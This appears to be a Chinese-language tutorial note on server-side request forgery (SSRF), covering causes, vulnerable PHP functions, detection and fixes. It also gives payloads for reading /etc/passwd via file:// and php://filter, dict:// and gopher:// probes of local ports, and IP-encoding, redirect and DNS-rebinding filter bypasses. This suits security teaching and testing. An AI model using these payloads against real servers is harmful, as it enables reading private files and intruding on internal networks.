0x00 ssrf介绍
SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种由攻击者构造请求,由服务器发起请求的安全漏洞。一般情况下,ssrf攻击的是外网无法访问的内网系统,因为请求是由服务端发起的,所以服务器能请求到与自身相连而与外网隔离的内网系统。
0x01 成因
服务端提供了从其他服务器应用获取资源的功能,并且没有对目的地址严格的检查和过滤。
例如:黑客操作服务端从指定的url地址获取网页的文本内容,加载指定地址的图片,利用的是服务端请求伪造。
php 漏洞函数:
file_get_contents()
fsockopen()
curl_exec()
0x02 利用
ssrf利用的是存在缺陷的web应用作为代理攻击远程和本地的服务器。
主要攻击方式有
1.利用协议
1.1file协议读取本地文件
url=file:///etc/passwd
url=file:///C:/Windows/win.ini
1.2php://filter/read(file_get_contents)
在ssrf(file_get_contents)使用
http://localhost/pikachu/vul/ssrf/ssrf_fgc.php?file=
php://filter/read=convert.base64-encode/resource=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info2.php
2.对外网、服务器所在内网、本地进行端口扫描,获取banner信息。
3.攻击运行在本地或内网的应用程序。
4.对内网wab应用进行指纹识别,识别企业内部资产信息。
5.攻击内外网web应用,用http get 请求如(sql,strust2)
0x03 漏洞探测
1.1 输入url的地方
看到让用户输入url,导入外部链接的这些点就可以尝试。
输入ceye.io的域名,登录看是否有http请求记录。
也可以输入 http://127.0.0.1:80
如果有反应说明也存在
1.2如果是加载图片的地方
该功能点应该会对后缀做检测
也可以使用ceye.io的域名 在后边直接加上xx.jpg即可
xxx.ceye.io/xx.jpg
1.3其他功能点也类似
0x04 绕过
1.攻击本地
http://127.0.0.1:22
http://localhost:22
2.进制转换
可以是十六进制,八进制等。
115.239.210.26 >>> 16373751032
首先把这四段数字给分别转成16进制,结果:73 ef d2 1a
然后把 73efd21a 这十六进制一起转换成8进制
记得访问的时候加0表示使用八进制(可以是一个0也可以是多个0 跟XSS中多加几个0来绕过过滤一样),十六进制加0x
http://127.0.0.1 >>> http://0177.0.0.1/
http://127.0.0.1 >>> http://2130706433/
http://192.168.0.1 >>> http://3232235521/
http://192.168.1.1 >>> http://3232235777/
3.各种协议
file:///d:/1.txt 读取静态文件
dict://127.0.0.1:6379探测端口
https/http://127.0.0.1:80 读取网页
gopher://
4.302跳转
5.DNS重绑定 前部分外网IP,后部分内网ip。 使用bp爆破
工具 https://lock.cmpxchg8b.com/rebinder.html
当对地址有黑名单验证时可以使用DNS重新绑定
利用服务器 判断ip地址是否合法后 才去请求url 的时间差。上述工具网页 会自动进行重新绑定 可用bp进行爆破
6.短网址转换工具
https://www.985.so/
0x05 修复建议
限制请求的端口只能为Web端口,只允许访问HTTP和HTTPS的请求。
限制不能访问内网的IP,以防止对内网进行攻击。
屏蔽返回的详细信息。
限制协议为http和https
dns查询请求的间隔低于ttl值
参考资料
https://www.freebuf.com/column/194040.html
https://github.com/NoneNotNull/SSRFX
https://blog.csdn.net/weixin_39664643/article/details/113944992